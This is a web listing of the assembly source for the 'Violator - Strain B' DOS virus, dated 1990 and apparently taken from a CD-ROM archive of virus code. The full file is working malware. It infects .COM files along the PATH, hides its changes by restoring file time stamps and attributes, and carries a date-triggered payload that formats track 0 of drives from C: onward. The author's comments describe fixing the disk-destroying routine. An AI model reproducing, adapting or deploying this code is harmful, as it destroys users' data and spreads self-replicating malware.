home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VIOL-B.ASM < prev    next >
Assembly Source File  |  1990-08-10  |  12KB  |  391 lines

  1. ;*****************************************************************************
  2. ;
  3. ;                        Violator - Strain B
  4. ;
  5. ;*****************************************************************************
  6. ;
  7. ; (Aug/09/90)
  8. ;
  9. ; Development Notes:
  10. ;
  11. ;    I encountered several errors in the original Violator code which I
  12. ;     corrected in this version. Mainly, the INT 26 routine to fuck the
  13. ;    disk. It seems that the routine would crash right after the INT 26
  14. ;     was executed and the whole program would die. I have since fixed
  15. ;    this problem in this version with an INT 13, AH 05 (Format Track)
  16. ;    command. This works better than the subsequent INT 26.
  17. ;
  18. ;
  19. ;*****************************************************************************
  20. ;
  21. ;                Written by - The High Evolutionary - 
  22. ;                  RABID Head Programmer
  23. ;
  24. ;          Copyright (C) 1990 by RABID Nat'nl Development Corp.
  25. ;
  26. ;*****************************************************************************
  27.  
  28. MOV_CX  MACRO   X
  29.         DB      0B9H                
  30.         DW      X
  31. ENDM
  32.  
  33. CODE    SEGMENT
  34.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  35.         ORG     $+0100H                ; Set ORG to 100H plus our own
  36.                         
  37. VCODE:  JMP     virus
  38.  
  39.     NOP
  40.     NOP
  41.     NOP                     ;15 NOP's to place JMP Header
  42.     NOP
  43.     NOP
  44.     NOP
  45.     NOP
  46.     NOP
  47.     NOP
  48.     NOP
  49.     NOP
  50.     NOP
  51.     NOP
  52.     NOP
  53.     NOP
  54.     
  55. v_start equ     $
  56.  
  57.  
  58. virus:  PUSH    CX
  59.         MOV     DX,OFFSET vir_dat       
  60.         CLD                             
  61.         MOV     SI,DX                   
  62.         ADD     SI,first_3              
  63.     MOV    CX,3
  64.         MOV     DI,OFFSET 100H          
  65.         REPZ    MOVSB                   
  66.         MOV     SI,DX                   
  67.     MOV     AH,30H
  68.     INT    21H
  69.     CMP    AL,0                ;Quit it it's DOS 1.0
  70.     JNZ    dos_ok
  71.         JMP     quit                 
  72.  
  73. dos_ok: PUSH    ES
  74.         MOV     AH,2FH
  75.         INT     21H
  76.         MOV     [SI+old_dta],BX
  77.         MOV     [SI+old_dts],ES         
  78.         POP     ES
  79.         MOV     DX,dta                  
  80.         ADD     DX,SI                    
  81.         MOV     AH,1AH
  82.         INT     21H                     
  83.         PUSH    ES
  84.         PUSH    SI
  85.         MOV     ES,DS:2CH
  86.         MOV     DI,0                    
  87.     JMP    year_check
  88.  
  89. year_check:
  90.     MOV    AH,2AH            ;Get date info
  91.     INT    21H            ;Call DOS
  92.     CMP    CX,1990            ;Check to see if the year is 1990
  93.     JGE    month_check        ;If greater or equal, check month
  94.     JMP    find_path        ;If not, go on with infection
  95.     
  96. month_check:
  97.     MOV    AH,2AH            ;Get date info
  98.     INT    21h            ;Call DOS
  99.     CMP    DH,9            ;Check to see if it is September
  100.     JGE    day_check        ;If greater or equal, check day
  101.     JMP    find_path        ;if not, go on with infection
  102.  
  103. day_check:
  104.     MOV    AH,2Ah            ;Get date info
  105.     INT    21H            ;Call DOS
  106.     CMP    DL,4            ;Check to see if it is the 4th
  107.     JGE     multiplex        ;If yes, then nuke drives A:-Z:
  108.     JMP    find_path        ;If not, then go on with infection
  109.  
  110. multiplex:
  111.     MOV    AL,cntr            ;Counter is the drive to kill
  112.     CALL    alter            ;Go and kill the drive
  113.                                         ;25 is drive Z:
  114.     CMP    cntr,25            ;Is (cntr) 25 ?
  115.     JE    find_path        ;Go on with infection
  116.     INC    cntr            ;Add one to (cntr)
  117.     LOOP    multiplex        ;Loop back up to kill next drive
  118.  
  119. alter:
  120.     MOV    AH,05            ;Format Track
  121.     MOV    CH,0            ;Format track 0
  122.     MOV    DH,0            ;Head 0
  123.     MOV    DL,cntr            ;Format for drive in (cntr)
  124.     INT    13h            ;Call RWTS
  125.     RET                ;Return up for next drive
  126.                       
  127. find_path:
  128.         POP     SI            
  129.         PUSH    SI                                       
  130.         ADD     SI,env_str              
  131.         LODSB                
  132.         MOV     CX,OFFSET 8000H         
  133.         REPNZ   SCASB                   
  134.         MOV     CX,4                                                
  135.  
  136. check_next_4:
  137.         LODSB
  138.         SCASB
  139. ;
  140. ; The JNZ line specifies that if there is no PATH present, then we will go
  141. ; along and infect the ROOT directory on the default drive.
  142. ;
  143.         JNZ     find_path               ;If not path, then go to ROOT dir    
  144.         LOOP    check_next_4            ;Go back and check for more chars
  145.         POP     SI            ;Load in PATH again to look for chars
  146.         POP     ES
  147.         MOV     [SI+path_ad],DI         
  148.         MOV     DI,SI            
  149.         ADD     DI,wrk_spc              ;Put the filename in wrk_spc
  150.         MOV     BX,SI                   
  151.         ADD     SI,wrk_spc              
  152.         MOV     DI,SI                   
  153.         JMP     SHORT   slash_ok
  154.  
  155. set_subdir:
  156.         CMP     WORD PTR [SI+path_ad],0 
  157.         JNZ     found_subdir            
  158.         JMP     all_done                
  159.  
  160.  
  161. found_subdir:
  162.         PUSH    DS
  163.         PUSH    SI
  164.         MOV     DS,ES:2CH               
  165.         MOV     DI,SI
  166.         MOV     SI,ES:[DI+path_ad]      
  167.         ADD     DI,wrk_spc              ;DI is the file name to infect! (hehe)
  168.  
  169.  
  170. move_subdir:
  171.         LODSB                           ;To tedious work to move into subdir
  172.         CMP     AL,';'                  ;Does it end with a ; charachter?
  173.         JZ      moved_one               ;if yes, then we found a subdir 
  174.         CMP     AL,0                    ;is it the end of the path?
  175.         JZ      moved_last_one          ;if yes, then we save the PATH
  176.         STOSB                           ;marker into DI for future reference
  177.         JMP     SHORT   move_subdir
  178.  
  179. moved_last_one:
  180.         MOV     SI,0
  181.  
  182. moved_one:
  183.         POP     BX                      ;BX is where the virus data is
  184.         POP     DS                      ;Restore DS so that we can do stuph
  185.         MOV     [BX+path_ad],SI         ;Where is the next subdir?
  186.         NOP
  187.         CMP     CH,'\'                  ;Check to see if it ends in \
  188.         JZ      slash_ok                ;If yes, then it's OK
  189.         MOV     AL,'\'                  ;if not, then add one...
  190.         STOSB                ;store the sucker
  191.  
  192.  
  193. slash_ok:
  194.         MOV     [BX+nam_ptr],DI         ;Move the filename into workspace
  195.         MOV     SI,BX                   ;Restore the original SI value
  196.         ADD     SI,f_spec               ;Point to COM file victim
  197.         MOV     CX,6
  198.         REPZ    MOVSB                   ;Move victim into workspace
  199.         MOV     SI,BX
  200.         MOV     AH,4EH
  201.         MOV     DX,wrk_spc
  202.         ADD     DX,SI                   ;DX is ... THE VICTIM!!!          
  203.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  204.         INT     21H
  205.         JMP     SHORT   find_first
  206.  
  207. find_next:
  208.         MOV     AH,4FH
  209.         INT     21H
  210.  
  211. find_first:
  212.         JNB     found_file              ;Jump if we found it
  213.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  214.  
  215. found_file:
  216.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  217.         AND     AL,1EH                  ;Mask to remove all but seconds
  218.         CMP     AL,1EH                  ;60 seconds 
  219.         JZ      find_next               
  220.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  221.         JA      find_next               ;If too long, find another one
  222.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  223.         JB      find_next               ;Then go find another one
  224.         MOV     DI,[SI+nam_ptr]         
  225.         PUSH    SI                      
  226.         ADD     SI,dta_nam              
  227.  
  228. more_chars:
  229.         LODSB
  230.         STOSB
  231.         CMP     AL,0
  232.         JNZ     more_chars              
  233.         POP     SI
  234.         MOV     AX,OFFSET 4300H
  235.         MOV     DX,wrk_spc              
  236.         ADD     DX,SI
  237.         INT     21H
  238.         MOV     [SI+old_att],CX         
  239.         MOV     AX,OFFSET 4301H         
  240.         AND     CX,OFFSET 0FFFEH        
  241.         MOV     DX,wrk_spc              
  242.         ADD     DX,SI                   
  243.         INT     21H
  244.         MOV     AX,OFFSET 3D02H         
  245.         MOV     DX,wrk_spc              
  246.         ADD     DX,SI                   
  247.         INT     21H
  248.         JNB     opened_ok               
  249.         JMP     fix_attr                
  250.  
  251. opened_ok:
  252.         MOV     BX,AX
  253.         MOV     AX,OFFSET 5700H
  254.         INT     21H
  255.         MOV     [SI+old_tim],CX         ;Save file time
  256.         MOV     [SI+ol_date],DX         ;Save the date
  257.         MOV     AH,2CH
  258.         INT     21H
  259.         AND     DH,7                    
  260.         JMP     infect
  261.  
  262. infect:
  263.         MOV     AH,3FH
  264.         MOV     CX,3
  265.         MOV     DX,first_3
  266.         ADD     DX,SI
  267.         INT     21H             ;Save first 3 bytes into the data area
  268.         JB      fix_time_stamp  
  269.         CMP     AX,3            
  270.         JNZ     fix_time_stamp  
  271.         MOV     AX,OFFSET 4202H
  272.         MOV     CX,0
  273.         MOV     DX,0
  274.         INT     21H
  275.         JB      fix_time_stamp  
  276.         MOV     CX,AX           
  277.         SUB     AX,3            
  278.         MOV     [SI+jmp_dsp],AX 
  279.         ADD     CX,OFFSET c_len_y
  280.         MOV     DI,SI           
  281.         SUB     DI,OFFSET c_len_x
  282.                                 
  283.         MOV     [DI],CX         
  284.         MOV     AH,40H
  285.         MOV_CX  virlen                  
  286.         MOV     DX,SI
  287.         SUB     DX,OFFSET codelen       
  288.         INT     21H
  289.         JB      fix_time_stamp          
  290.         CMP     AX,OFFSET virlen        
  291.         JNZ     fix_time_stamp          
  292.         MOV     AX,OFFSET 4200H
  293.         MOV     CX,0
  294.         MOV     DX,0
  295.         INT     21H
  296.         JB      fix_time_stamp          
  297.         MOV     AH,40H
  298.         MOV     CX,3
  299.         MOV     DX,SI                   
  300.         ADD     DX,jmp_op               
  301.         INT     21H
  302.  
  303. fix_time_stamp:
  304.         MOV     DX,[SI+ol_date]         
  305.         MOV     CX,[SI+old_tim]         
  306.         AND     CX,OFFSET 0FFE0H
  307.         OR      CX,1EH                  
  308.         MOV     AX,OFFSET 5701H
  309.         INT     21H
  310.         MOV     AH,3EH
  311.         INT     21H
  312.  
  313. fix_attr:
  314.         MOV     AX,OFFSET 4301H
  315.         MOV     CX,[SI+old_att]         
  316.         MOV     DX,wrk_spc
  317.         ADD     DX,SI                   
  318.         INT     21H
  319.  
  320. all_done:
  321.         PUSH    DS
  322.         MOV     AH,1AH
  323.         MOV     DX,[SI+old_dta]
  324.         MOV     DS,[SI+old_dts]
  325.         INT     21H
  326.         POP     DS
  327.  
  328. quit:
  329.         POP     CX
  330.         XOR     AX,AX            ;XOR values so that we will give the
  331.         XOR     BX,BX            ;poor sucker a hard time trying to
  332.         XOR     DX,DX            ;reassemble the source code if he
  333.         XOR     SI,SI            ;decides to dissassemble us.
  334.         MOV     DI,OFFSET 0100H
  335.         PUSH    DI
  336.         XOR     DI,DI
  337.         RET     0FFFFH            ;Return back to the beginning
  338.                     ;of the program
  339.  
  340. vir_dat EQU     $
  341.  
  342. intro    db    '.D$^i*&B)_a.%R',13,10
  343. olddta_ DW      0                       
  344. olddts_ DW      0                       
  345. oldtim_ DW      0                       
  346. count_    DW    0
  347. cntr     DB     2                ; Drive to nuke from (C:+++)
  348. oldate_ DW      0                       
  349. oldatt_ DW      0                       
  350. first3_ EQU     $
  351.         INT     20H
  352.         NOP
  353. jmpop_  DB      0E9H                    
  354. jmpdsp_ DW      0                       
  355. fspec_  DB      '*.COM',0
  356. pathad_ DW      0                       
  357. namptr_ DW      0                       
  358. envstr_ DB      'PATH='                 
  359. wrkspc_ DB      40h dup (0)
  360. dta_    DB      16h dup (0)             
  361. dtatim_ DW      0,0                     
  362. dtalen_ DW      0,0                     
  363. dtanam_ DB      0Dh dup (0)             
  364. lst_byt EQU     $                       
  365. virlen  =       lst_byt - v_start       
  366. codelen =       vir_dat - v_start       
  367. c_len_x =       vir_dat - v_start - 2   
  368. c_len_y =       vir_dat - v_start + 100H
  369. old_dta =       olddta_ - vir_dat       
  370. old_dts =       olddts_ - vir_dat       
  371. old_tim =       oldtim_ - vir_dat       
  372. ol_date =       oldate_ - vir_dat       
  373. old_att =       oldatt_ - vir_dat       
  374. first_3 =       first3_ - vir_dat       
  375. jmp_op  =       jmpop_  - vir_dat       
  376. jmp_dsp =       jmpdsp_ - vir_dat       
  377. f_spec  =       fspec_  - vir_dat       
  378. path_ad =       pathad_ - vir_dat       
  379. nam_ptr =       namptr_ - vir_dat       
  380. env_str =       envstr_ - vir_dat       
  381. wrk_spc =       wrkspc_ - vir_dat       
  382. dta     =       dta_    - vir_dat       
  383. dta_tim =       dtatim_ - vir_dat       
  384. dta_len =       dtalen_ - vir_dat       
  385. dta_nam =       dtanam_ - vir_dat       
  386. count     =    count_  - vir_dat
  387.  
  388.         CODE    ENDS
  389. END     VCODE
  390.  
  391.